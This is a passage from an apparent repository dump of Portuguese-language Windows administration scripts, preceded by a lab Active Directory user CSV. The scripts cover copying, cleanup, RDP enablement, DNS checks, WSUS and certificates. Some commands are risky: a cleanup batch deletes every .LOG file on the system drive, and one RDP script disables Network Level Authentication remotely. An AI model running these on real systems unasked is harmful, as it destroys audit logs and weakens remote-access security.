Erica,OU=DP,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",erica.carvalho,Carvalho,Erica,Erica Carvalho,Analista de DP,erica.carvalho@popovici.lab,1198563-8578,www.eduardopopovici.com 13 | "CN=Paula Ana,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Paula Ana,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",ana.paula,Paula,Ana,Ana Paula,Coordenador,ana.paula@popovici.lab,1198563-8579,www.eduardopopovici.com 14 | "CN=Luiza Maria,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Luiza Maria,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",maria.luiza,Luiza,Maria,Maria Luiza,Vendedor,maria.luiza@popovici.lab,1198563-8580,www.eduardopopovici.com 15 | "CN=Palermo Ranieri,OU=DIRETORIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Palermo Ranieri,OU=DIRETORIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",ranieri.palermo,Palermo,Ranieri,Ranieri Palermo,Diretor Geral,ranieri.palermo@popovici.lab,1198563-8581,www.eduardopopovici.com 16 | "CN=Liso Pablo,OU=ZELADORIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Liso Pablo,OU=ZELADORIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",pablo.liso,Liso,Pablo,Pablo Liso,Zelador,pablo.liso@popovici.lab,1198563-8582,www.eduardopopovici.com 17 | "CN=Souza Renato,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Souza Renato,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",renato.souza,Souza,Renato,Renato Souza,Vendedor,renato.souza@popovici.lab,1198563-8583,www.eduardopopovici.com 18 | "CN=Andrade Pamela,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Andrade Pamela,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",pamela.andrade,Andrade,Pamela,Pamela Andrade,Vendedor,pamela.andrade@popovici.lab,1198563-8584,www.eduardopopovici.com 19 | "CN=Mazutti Laura,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Mazutti Laura,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",laura.mazutti,Mazutti,Laura,Laura Mazutti,Atendente,laura.mazutti@popovici.lab,1198563-8585,www.eduardopopovici.com 20 | "CN=Pauluci Erika,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Pauluci Erika,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",erika.pauluci,Pauluci,Erika,Erika Pauluci,Atendente,erika.pauluci@popovici.lab,1198563-8586,www.eduardopopovici.com 21 | "CN=Brabo Rick,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Brabo Rick,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",rick.brabo,Brabo,Rick,Rick Brabo,Atendente,rick.brabo@popovici.lab,1198563-8587,www.eduardopopovici.com 22 | "CN=Lima Renner,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Lima Renner,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",renner.lima,Lima,Renner,Renner Lima,Atendente,renner.lima@popovici.lab,1198563-8588,www.eduardopopovici.com 23 | "CN=Charmosa Penelope,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Charmosa Penelope,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",penelope.charmosa,Charmosa,Penelope,Penelope Charmosa,Atendente,penelope.charmosa@popovici.lab,1198563-8589,www.eduardopopovici.com 24 | "CN=Bravo Paulo,OU=QUALIDADE,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Bravo Paulo,OU=QUALIDADE,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",paulo.bravo,Bravo,Paulo,Paulo Bravo,Analista de Qualidade,paulo.bravo@popovici.lab,1198563-8590,www.eduardopopovici.com 25 | "CN=Bravo Jony,OU=QUALIDADE,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Bravo Jony,OU=QUALIDADE,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",jony.bravo,Bravo,Jony,Jony Bravo,Analista de Qualidade,jony.bravo@popovici.lab,1198563-8591,www.eduardopopovici.com 26 | "CN=Santos Cristina,OU=DEV,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Santos Cristina,OU=DEV,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",cristina.santos,Santos,Cristina,Cristina Santos,Dev Phyton,cristina.santos@popovici.lab,1198563-8592,www.eduardopopovici.com 27 | "CN=Lopes Pietro,OU=DEV,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Lopes Pietro,OU=DEV,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",pietro.lopes,Lopes,Pietro,Pietro Lopes,Dev Phyton,pietro.lopes@popovici.lab,1198563-8593,www.eduardopopovici.com 28 | "CN=Souza Peterson,OU=DEV,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Souza Peterson,OU=DEV,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",peterson.souza,Souza,Peterson,Peterson Souza,Dev Java,peterson.souza@popovici.lab,1198563-8594,www.eduardopopovici.com 29 | "CN=Santos Luciana,OU=SEGURANCA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Santos Luciana,OU=SEGURANCA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",luciana.santos,Santos,Luciana,Luciana Santos,Anl Seguranca I,luciana.santos@popovici.lab,1198563-8595,www.eduardopopovici.com 30 | "CN=Ribeiro Mariana,OU=SEGURANCA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Ribeiro Mariana,OU=SEGURANCA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",mariana.ribeiro,Ribeiro,Mariana,Mariana Ribeiro,Anl Seguranca III,mariana.ribeiro@popovici.lab,1198563-8596,www.eduardopopovici.com 31 | "CN=Penso Pedro,OU=SEGURANCA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Penso Pedro,OU=SEGURANCA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",pedro.penso,Penso,Pedro,Pedro Penso,Pentester,pedro.penso@popovici.lab,1198563-8597,www.eduardopopovici.com 32 | "CN=Ribeiro Paulinha,OU=SEGURANCA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Ribeiro Paulinha,OU=SEGURANCA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",paulinha.ribeiro,Ribeiro,Paulinha,Paulinha Ribeiro,Penterter,paulinha.ribeiro@popovici.lab,1198563-8598,www.eduardopopovici.com 33 | "CN=Remo Rita,OU=COMPRAS,OU=DEPTOS,OU=FILIAL-01-RJ,OU=02-FILIAIS,DC=popovici,DC=lab",user,"CN=Remo Rita,OU=COMPRAS,OU=DEPTOS,OU=FILIAL-01-RJ,OU=02-FILIAIS,DC=popovici,DC=lab",rita.remo,Remo,Rita,Rita Remo,Comprador,rita.remo@popovici.lab,1198563-8599,www.eduardopopovici.com 34 | "CN=Silva Luca,OU=COMPRAS,OU=DEPTOS,OU=FILIAL-01-RJ,OU=02-FILIAIS,DC=popovici,DC=lab",user,"CN=Silva Luca,OU=COMPRAS,OU=DEPTOS,OU=FILIAL-01-RJ,OU=02-FILIAIS,DC=popovici,DC=lab",luca.silva,Silva,Luca,Luca Silva,Comprador,luca.silva@popovici.lab,1198563-8600,www.eduardopopovici.com 35 | "CN=Silva Patricia,OU=COMPRAS,OU=DEPTOS,OU=FILIAL-01-RJ,OU=02-FILIAIS,DC=popovici,DC=lab",user,"CN=Silva Patricia,OU=COMPRAS,OU=DEPTOS,OU=FILIAL-01-RJ,OU=02-FILIAIS,DC=popovici,DC=lab",patricia.silva,Silva,Patricia,Patricia Silva,Comprador,patricia.silva@popovici.lab,1198563-8601,www.eduardopopovici.com 36 | "CN=Cabreiro Peterpan,OU=COMPRAS,OU=DEPTOS,OU=FILIAL-01-RJ,OU=02-FILIAIS,DC=popovici,DC=lab",user,"CN=Cabreiro Peterpan,OU=COMPRAS,OU=DEPTOS,OU=FILIAL-01-RJ,OU=02-FILIAIS,DC=popovici,DC=lab",peterpan.cabreiro,Cabreiro,Peterpan,Peterpan Cabreiro,Coordenador - Compras e Vendas,peterpan.cabreiro@popovici.lab,1198563-8602,www.eduardopopovici.com 37 | "CN=Amui Max,OU=DB,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Amui Max,OU=DB,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",max.amui,Amui,Max,Max Amui,DBA,max.amui@popovici.lab,1198563-8603,www.eduardopopovici.com 38 | "CN=Ricardo Jose,OU=DB,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Ricardo Jose,OU=DB,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",jose.ricardo,Ricardo,Jose,Jose Ricardo,DBA,jose.ricardo@popovici.lab,1198563-8604,www.eduardopopovici.com 39 | "CN=Limeira Renata,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Limeira Renata,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",renata.limeira,Limeira,Renata,Renata Limeira,Atendente,renata.limeira@popovici.lab,1198563-8605,www.eduardopopovici.com 40 | "CN=Panca Jose,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Panca Jose,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",jose.panca,Panca,Jose,Jose Panca,Atendente,jose.panca@popovici.lab,1198563-8606,www.eduardopopovici.com 41 | "CN=Ricardo Flavio,OU=DIRETORIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Ricardo Flavio,OU=DIRETORIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",flavio.ricardo,Ricardo,Flavio,Flavio Ricardo,Diretor Executivo,flavio.ricardo@popovici.lab,1198563-8607,www.eduardopopovici.com 42 | -------------------------------------------------------------------------------- /ScriptCopiaBitABit: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Script de cópia bit a bit # 3 | ################################################# 4 | 5 | Import-Module BitsTransfer 6 | 7 | $bitsjob = Start-BitsTransfer –source origem -destination destino -Asynchronous 8 | 9 | while( ($bitsjob.JobState.ToString() -eq 'Transferring') -or ($bitsjob.JobState.ToString() -eq 'Connecting') ) 10 | 11 | { 12 | 13 | Write-host $bitsjob.JobState.ToString() 14 | 15 | $Proc = ($bitsjob.BytesTransferred / $bitsjob.BytesTotal) * 100 16 | 17 | Write-Host $Proc "%” 18 | 19 | Sleep 3 20 | 21 | } 22 | 23 | Complete-BitsTransfer -BitsJob $bitsjob 24 | 25 | Write-Host "Transferência concluída. Pressione qualquer tecla para fechar a janela..." 26 | 27 | $x = $host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown") 28 | -------------------------------------------------------------------------------- /ScriptDeCopiaRobusta-Robocopy: -------------------------------------------------------------------------------- 1 | # Script de cópia robusta Windows 2 | # Ao término o Robocopy deixa os arquivos em formato oculto 3 | # Você pode utilizar o attrib para mudar o atributo dos arquivos copiados 4 | # A cópia robusta leva tanto arquivos quanto permissões atribuidas pela origem 5 | 6 | robocopy d:\ \\servidor\pasta01 /MIR /ZB /R:0 /W:0 /COPYALL /ts /tee /log:c:\registro\Copia09-AGO-2023.txt 7 | attrib -h -r -s /s /d D:\*.* 8 | -------------------------------------------------------------------------------- /ScriptDeLimpeza: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Script de limpeza # 3 | ################################################# 4 | 5 | @ECHO OFF 6 | TITLE LIMPEZA DO SISTEMA... 7 | ECHO. 8 | ECHO PARA INICIAR O PROCESSO DE LIMPEZA DESTA ESTACAO... 9 | PAUSE 10 | 11 | CLS 12 | TITLE 1/6 - EFETUANDO LIMPEZA DOS TEMPORARIOS... 13 | ECHO. 14 | ECHO 1/6 - EFETUANDO LIMPEZA DOS TEMPORARIOS... 15 | DEL "%TEMP%" /F /S /Q 16 | CLS 17 | ECHO. 18 | TITLE 1/6 - LIMPEZA DOS TEMPORARIOS CONCLUIDA. 19 | ECHO 1/6 - LIMPEZA DOS TEMPORARIOS CONCLUIDA. 20 | ECHO. 21 | 22 | TITLE 2/6 - EFETUANDO LIMPEZA DOS TEMPORARIOS DO INTERNET EXPLORER... 23 | ECHO. 24 | ECHO 2/6 - EFETUANDO LIMPEZA DOS TEMPORARIOS DO INTERNET EXPLORER... 25 | DEL "%USERPROFILE%\LOCALS~1\Temporary Internet Files\Content.IE5" /F /S /Q 26 | CLS 27 | ECHO. 28 | ECHO 1/6 - LIMPEZA DOS TEMPORARIOS CONCLUIDA. 29 | ECHO 2/6 - LIMPEZA DOS TEMPORARIOS DO INTERNET EXPLORER CONCLUIDA. 30 | ECHO. 31 | TITLE 2/6 - LIMPEZA DOS TEMPORARIOS DO INTERNET EXPLORER CONCLUIDA. 32 | 33 | TITLE 3/6 - EFETUANDO LIMPEZA DOS TEMPORARIOS DO WINDOWS... 34 | ECHO. 35 | ECHO 3/6 - EFETUANDO LIMPEZA DOS TEMPORARIOS DO WINDOWS... 36 | DEL "%SystemRoot%\Temp" /F /S /Q 37 | CLS 38 | ECHO. 39 | ECHO 1/6 - LIMPEZA DOS TEMPORARIOS CONCLUIDA. 40 | ECHO 2/6 - LIMPEZA DOS TEMPORARIOS DO INTERNET EXPLORER CONCLUIDA. 41 | ECHO 3/6 - LIMPEZA DOS TEMPORARIOS DO WINDOWS CONCLUIDA. 42 | ECHO. 43 | TITLE 3/6 - LIMPEZA DOS TEMPORARIOS DO WINDOWS CONCLUIDA. 44 | 45 | TITLE 4/6 - EFETUANDO LIMPEZA DE OUTROS ARQUIVOS TEMPORARIOS... 46 | ECHO. 47 | ECHO 4/6 - EFETUANDO LIMPEZA DE OUTROS ARQUIVOS TEMPORARIOS... 48 | DEL "%SYSTEMDRIVE%\*.TMP" /F /S /Q 49 | DEL "%SYSTEMDRIVE%\~*.*" /F /S /Q 50 | CLS 51 | ECHO. 52 | ECHO 1/6 - LIMPEZA DOS TEMPORARIOS CONCLUIDA. 53 | ECHO 2/6 - LIMPEZA DOS TEMPORARIOS DO INTERNET EXPLORER CONCLUIDA. 54 | ECHO 3/6 - LIMPEZA DOS TEMPORARIOS DO WINDOWS CONCLUIDA. 55 | ECHO 4/6 - LIMPEZA DE OUTROS ARQUIVOS TEMPORARIOS CONCLUIDA. 56 | ECHO. 57 | TITLE 4/6 - LIMPEZA DE OUTROS ARQUIVOS TEMPORARIOS CONCLUIDA. 58 | 59 | TITLE 5/6 - EFETUANDO LIMPEZA DOS LOGS... 60 | ECHO. 61 | ECHO 5/6 - EFETUANDO LIMPEZA DOS LOGS... 62 | DEL "%SYSTEMDRIVE%\*.LOG" /F /S /Q 63 | CLS 64 | ECHO. 65 | ECHO 1/6 - LIMPEZA DOS TEMPORARIOS CONCLUIDA. 66 | ECHO 2/6 - LIMPEZA DOS TEMPORARIOS DO INTERNET EXPLORER CONCLUIDA. 67 | ECHO 3/6 - LIMPEZA DOS TEMPORARIOS DO WINDOWS CONCLUIDA. 68 | ECHO 4/6 - LIMPEZA DE OUTROS ARQUIVOS TEMPORARIOS CONCLUIDA. 69 | ECHO 5/6 - LIMPEZA DOS LOGS CONCLUIDA. 70 | ECHO. 71 | TITLE 5/6 - LIMPEZA DOS LOGS CONCLUIDA. 72 | 73 | TITLE 6/6 - EFETUANDO LIMPEZA DA LIXEIRA... 74 | ECHO. 75 | ECHO 6/6 - EFETUANDO LIMPEZA DA LIXEIRA... 76 | DEL "%SYSTEMDRIVE%\RECYCLER" /F /S /Q 77 | CLS 78 | ECHO. 79 | ECHO 1/6 - LIMPEZA DOS TEMPORARIOS CONCLUIDA. 80 | ECHO 2/6 - LIMPEZA DOS TEMPORARIOS DO INTERNET EXPLORER CONCLUIDA. 81 | ECHO 3/6 - LIMPEZA DOS TEMPORARIOS DO WINDOWS CONCLUIDA. 82 | ECHO 4/6 - LIMPEZA DE OUTROS ARQUIVOS TEMPORARIOS CONCLUIDA. 83 | ECHO 5/6 - LIMPEZA DOS LOGS CONCLUIDA. 84 | ECHO 6/6 - LIMPEZA DA LIXEIRA CONCLUIDA. 85 | ECHO. 86 | TITLE 6/6 - LIMPEZA DA LIXEIRA CONCLUIDA. 87 | PAUSE 88 | EXIT 89 | -------------------------------------------------------------------------------- /ScriptParaReparoDeRelacaoDeConfianca: -------------------------------------------------------------------------------- 1 | # Reparo de relação de confiança entre estação de trabalho e o domínio 2 | # Script pode ser utilizado tanto por GPO quanto por SCCM 3 | # Script by Eduardo Popovici 4 | 5 | # Set-ExecutionPolicy Unrestricted - Use com moderação 6 | # Get-ExecutionPolicy - Valida qual é a permissão atual de execução de scrpts no equipamento 7 | 8 | # Reparo de relação de confiança 9 | # Set-ExecutionPolicy Unrestricted 10 | # Get-ExecutionPolicy 11 | 12 | Clear 13 | 14 | # Coleta e modificação do timestamp 15 | # ${time-stamp} = Get-Date -Format o | ForEach-Object { $_ -replace ":", "." } 16 | 17 | # Coleta o último logon 18 | # Get-ADUser pcontreras -Properties lastLogon | Select samaccountname, @{Name="lastLogon";Expression={[datetime]::FromFileTime($_.'lastLogon')}} 19 | 20 | # Coleta da data atual 21 | ${data-atual} = (Get-Date).Date 22 | 23 | # Verificação do estado do canal seguro com o domínio 24 | ${test-channel} = test-computersecurechannel -verbose 25 | 26 | # ${reset-channel} = Reset-ComputerMachinePassword 27 | # ${Time-test} Get-ADComputer -Filter 'createTimeStamp -ge $data-atual' -Properties createTimeStamp 28 | 29 | if(${test-channel} -eq "True" ){ 30 | Write-Output "Relação de confiança validada em ${data-atual}" 31 | # Write-Output "Timestamp atual ${time-stamp}" 32 | } 33 | Else 34 | { 35 | test-computersecurechannel -repair -verbose 36 | } 37 | -------------------------------------------------------------------------------- /ScriptsEnableRDP: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Habilitar RDP remotamente1 # 3 | ################################################# 4 | 5 | Invoke-Command -ComputerName client01 ` 6 | {Set-ItemProperty ` 7 | -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'` 8 | -Name "fDenyTSConnections" -Value 0; ` 9 | Enable-NetFirewallRule -DisplayGroup "Remote Desktop"} 10 | Test-NetConnection 10.10.1.105 -CommonTCPPort rdp 11 | 12 | ################################################# 13 | # Habilitar RDP remotamente2 # 14 | ################################################# 15 | 16 | Invoke-Command -ComputerName 172.30.0.28 -ScriptBlock {Enable-NetFirewallRule -DisplayGroup "Remote Desktop” -Verbose} 17 | Test-NetConnection 172.30.0.28 -CommonTCPPort rdp 18 | 19 | ################################################# 20 | # Habilitar RDP local # 21 | ################################################# 22 | 23 | Enable Remote Desktop 24 | (Get-WmiObject Win32_TerminalServiceSetting -Namespace root\cimv2\TerminalServices).SetAllowTsConnections(1,1) | Out-Null 25 | (Get-WmiObject -Class "Win32_TSGeneralSetting" -Namespace root\cimv2\TerminalServices -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0) | Out-Null 26 | Get-NetFirewallRule -DisplayName "Remote Desktop*" | Set-NetFirewallRule -enabled true 27 | Test-NetConnection 172.30.0.28 -CommonTCPPort rdp 28 | 29 | ################################################# 30 | # Habilitar RDP local ou remoto # 31 | ################################################# 32 | 33 | Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server" -Name "fdenyTSXonnections" -Value 0 34 | Enable-NetFirewallRule -DisplayGroup "Remote Desktop" 35 | Test-NetConnection 172.30.0.28 -CommonTCPPort rdp 36 | -------------------------------------------------------------------------------- /SessaoPersistente: -------------------------------------------------------------------------------- 1 | #SessãoPerssitente 2 | Clear-Host 3 | 4 | #variaveis 5 | $nameserver = Read-Host "Entre com o nome do Servidor" 6 | $s = New-PSSession -Name $nameserver 7 | 8 | Invoke-Command -Session $s -ScriptBlock{ 9 | 10 | $i = 0 11 | while($true) 12 | { 13 | $i++ 14 | Write-Host "Contando até $i" 15 | Sleep 1 16 | If ($i -ge 1000) {break} 17 | } 18 | } -AsJob -JobName LongoTrabalho 19 | 20 | # Comados rápidos [use a tecla F8 para executar a linha] 21 | Get-Command *PSSession 22 | -------------------------------------------------------------------------------- /SidUserADDS: -------------------------------------------------------------------------------- 1 | @echo off 2 | cls 3 | dsquery user "cn=donda, ou=visitantes, ou=usuarios, dc=br, dc=la, dc=clearchannel, dc=com" | dsget user -sid 4 | -------------------------------------------------------------------------------- /TestAdDnsRecords.cmd: -------------------------------------------------------------------------------- 1 | # Salvar como TestAdDnsRecords.cmd 2 | # Executar como TestAdDnsRecords.cmd | more 3 | 4 | @setlocal 5 | @REM Test AD DNS domains for presence. 6 | @REM For details see: http://serverfault.com/a/811622/253701 7 | 8 | nslookup -type=srv _kerberos._tcp.%userdnsdomain%. 9 | nslookup -type=srv _kerberos._udp.%userdnsdomain%. 10 | @echo . 11 | 12 | nslookup -type=srv _kpasswd._tcp.%userdnsdomain%. 13 | nslookup -type=srv _kpasswd._udp.%userdnsdomain%. 14 | @echo . 15 | 16 | nslookup -type=srv _ldap._tcp.%userdnsdomain%. 17 | @echo . 18 | 19 | nslookup -type=srv _ldap._tcp.dc._msdcs.%userdnsdomain%. 20 | @echo . 21 | 22 | nslookup -type=srv _ldap._tcp.pdc._msdcs.%userdnsdomain%. 23 | @echo . 24 | 25 | @REM Those next few lines here are forest specific: 26 | @REM Change the next line your current domain is not also the forest root. 27 | @SET "DNSFORESTNAME=%USERDNSDOMAIN%" 28 | 29 | nslookup -type=srv _ldap._tcp.gc._msdcs.%DNSFORESTNAME%. 30 | @echo . 31 | 32 | nslookup -type=srv _gc._tcp.%DNSFORESTNAME%. 33 | -------------------------------------------------------------------------------- /TesteConectividade-01: -------------------------------------------------------------------------------- 1 | # Testando conectividade 2 | # Por Guido Oliveira 3 | # Powershell temos o Test-NetConnection que pode ser utilizado para testar serviços remotos sendo possivel especificar a porta, diferentemente do Ping: 4 | 5 | Test-NetConnection -ComputerName guidooliveira.com -Port 443 6 | 7 | # Após inciciar o teste de conexão iremos aguardar o retorno de forma assíncrona especificando o timeout de 1 segundo, 8 | # especificado em milisegundos no primeiro argumento. Ao validar o retorno podemos determinar se a conexão foi feita 9 | # ou não com sucesso e chamar o método Close() e Dispose() para liberar os recursos de memória alocados para o objeto, evitando assim algum vazamento de memória. 10 | 11 | $TCPClient = New-Object -TypeName System.Net.Sockets.TcpClient 12 | $Connection = $TCPClient.BeginConnect('guidooliveira.com','443',$null,$null) 13 | $Wait = $Connection.AsyncWaitHandle.WaitOne('1000',$false) 14 | 15 | if(-not($wait)){ 16 | $tcpobject.Close() 17 | [PSCustomObject]@{ 18 | Online = $false 19 | Message = 'Timeout' 20 | } 21 | } 22 | else{ 23 | try { 24 | $null = $TCPClient.EndConnect($Connection) 25 | [PSCustomObject]@{ 26 | Online = $true 27 | Message = 'Connection Succeeded' 28 | } 29 | } 30 | catch { 31 | [PSCustomObject]@{ 32 | Online = $false 33 | Message = 'Timeout' 34 | } 35 | } 36 | $TCPClient.Close() 37 | } 38 | $TCPClient.Dispose() 39 | -------------------------------------------------------------------------------- /TesteDePortasAtivas: -------------------------------------------------------------------------------- 1 | # O netstat exibe as conexões TCP ativas, portas nas quais o computador está ouvindo, estatísticas de Ethernet, tabela de roteamento IP, 2 | # estatísticas IPv4 (para os protocolos IP, ICMP, TCP e UDP) e estatísticas IPv6 (para os protocolos IPv6, ICMPv6, TCP over IPv6 e UDP sobre 3 | # protocolos IPv6). Para replicar essa funcionalidade no powershell temos o comando Get-NetTCPConnection, 4 | # que retorna um resultado semelhante, mas em forma de objetos. 5 | 6 | Get-NetTCPConnection -State Listen 7 | 8 | # Para filtrar mais ainda o resultado, podemos utilizar o parâmetro -LocalPort e enumerar as portas que desejamos 9 | # filtrar no resultado, caso não localize a porta, ela não será incluida no resultado: 10 | 11 | Get-NetTCPConnection -State Listen -LocalPort 22,135,445,443 12 | -------------------------------------------------------------------------------- /ValidacaoDeHostPorListaDeIP: -------------------------------------------------------------------------------- 1 | clear 2 | $ipaddress=Get-Content -Path D:\Users\anaedua\Desktop\Transfer\Ip.txt 3 | 4 | $results = @() 5 | 6 | ForEach ($i in $ipaddress) 7 | { 8 | 9 | $o=new-object psobject 10 | 11 | $o | Add-Member -MemberType NoteProperty -Name hostname -Value ([System.Net.Dns]::GetHostByAddress($i).HostName) 12 | $results +=$o 13 | } 14 | 15 | $results | Select-Object -Property hostname | Export-Csv D:\Users\anaedua\Desktop\Transfer\machinenames.csv 16 | -------------------------------------------------------------------------------- /VerificaAutoShareWksnoRegistrodoWindows: -------------------------------------------------------------------------------- 1 | # Verifica AutoShareWks no Registro do Windows 2 | $registro = "HKLM:\SYSTEM\CurrentControlSet\services\LanmanServer\Parameters" 3 | $nome = "AutoShareWks" 4 | $valor = "1" 5 | $AutoShareWks = Get-ItemProperty -Path $registro -Name $nome -ErrorAction SilentlyContinue 6 | -------------------------------------------------------------------------------- /VersaoPS: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Coleta versão do PS # 3 | ################################################# 4 | 5 | $PSVersionTable.PSVersion 6 | $psversiontable 7 | Get-Host | Select-Object Version 8 | -------------------------------------------------------------------------------- /WSUS-Forceps: -------------------------------------------------------------------------------- 1 | ################################################# 2 | # Forçar WSUS # 3 | ################################################# 4 | 5 | @ echo Off 6 | Echo Stopping WU service 7 | net stop wuauserv 8 | Echo Deleting Windows Updates 9 | rd /s /q %windir%\SoftwareDistribution 10 | Echo Starting WU Service 11 | net start wuauserv 12 | Echo Detecting WSUS Server 13 | wuauclt /detectnow 14 | Echo Reporting to WSUS Server 15 | wuauclt.exe /reportnow 16 | Echo WAIT 10 MINUTES FOR CLIENT TO REPORT 17 | pause 18 | exit 19 | -------------------------------------------------------------------------------- /Winmgmt-01: -------------------------------------------------------------------------------- 1 | #Corrigir WindowsDanificado - Arquivos importantes 2 | @echo off 3 | sc config winmgmt start= disabled 4 | net stop winmgmt /y 5 | %systemdrive% 6 | cd %windir%\system32\wbem 7 | For /f %%s in ('dir /b *.dll') do regsvr32 /s %%s 8 | wmiprvse /regserver 9 | winmgmt /regserver 10 | net start winmgmt 11 | for /f %%s in ('dir /b *.mof *.mfl') do mofcomp %%s 12 | -------------------------------------------------------------------------------- /adrt_inventario_ADDS.rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/edupopov/powershell/6f3152c4a878194c3cf3ddd574d3d4b2acb42e2a/adrt_inventario_ADDS.rar -------------------------------------------------------------------------------- /certificado-auto-assinado-01: -------------------------------------------------------------------------------- 1 | # Comando para gerar o certificado auto assinado 2 | $cert = New-SelfSignedCertificate -Type Custom -KeySpec Signature ` 3 | -Subject "CN=CertificadoPrincipalVPN" -KeyExportPolicy Exportable ` 4 | -HashAlgorithm sha256 -KeyLength 2048 ` 5 | -CertStoreLocation “Cert:\CurrentUser\My” -KeyUsageProperty Sign -KeyUsage CertSi 6 | 7 | # Comando para gerar o certificado do cliente VPN 8 | New-SelfSignedCertificate -Type Custom -DnsName P2SChildCert -KeySpec Signature ` 9 | -Subject "CN=CertificadoclienteVPN" -KeyExportPolicy Exportable ` 10 | -HashAlgorithm sha256 -KeyLength 2048 ` 11 | -CertStoreLocation "Cert:\CurrentUser\My" -Signer $cert -TextExtension @(“2.5.29.37={text}1.3.6.1.5.5.7.3.2”) 12 | 13 | ###################################################### 14 | # Metodo de exportação simplificado para outros fins # 15 | ###################################################### 16 | 17 | # 1. Para gerar o certificado auto assinado utilizando seu domínio, abra o PowerShell e digite os comandos abaixo, substituindo o seu.dominio.local pelo nome de seu domínio (o meu exemplo é com o sbrubles.local): 18 | New-SelfSignedCertificate -certstorelocation Cert:\CurrentUser\My -dnsname seu.dominio.local 19 | 20 | # 2. Copie o thumbprint apresentado para utilizarmos com a exportação do certificado. 21 | # Obs.: Todas as vezes que o comando New-SelfSignedCertificate for utilizado, é gerado um novo thumbprint completamente novo 22 | 23 | # 3. Crie uma senha para o certificado digital com os seguintes comandos: 24 | $pwd = ConvertTo-SecureString -String "DigiteAquiSuaSenha" -Force -AsPlainText 25 | 26 | # 4. Exporte o certificado criado e use como 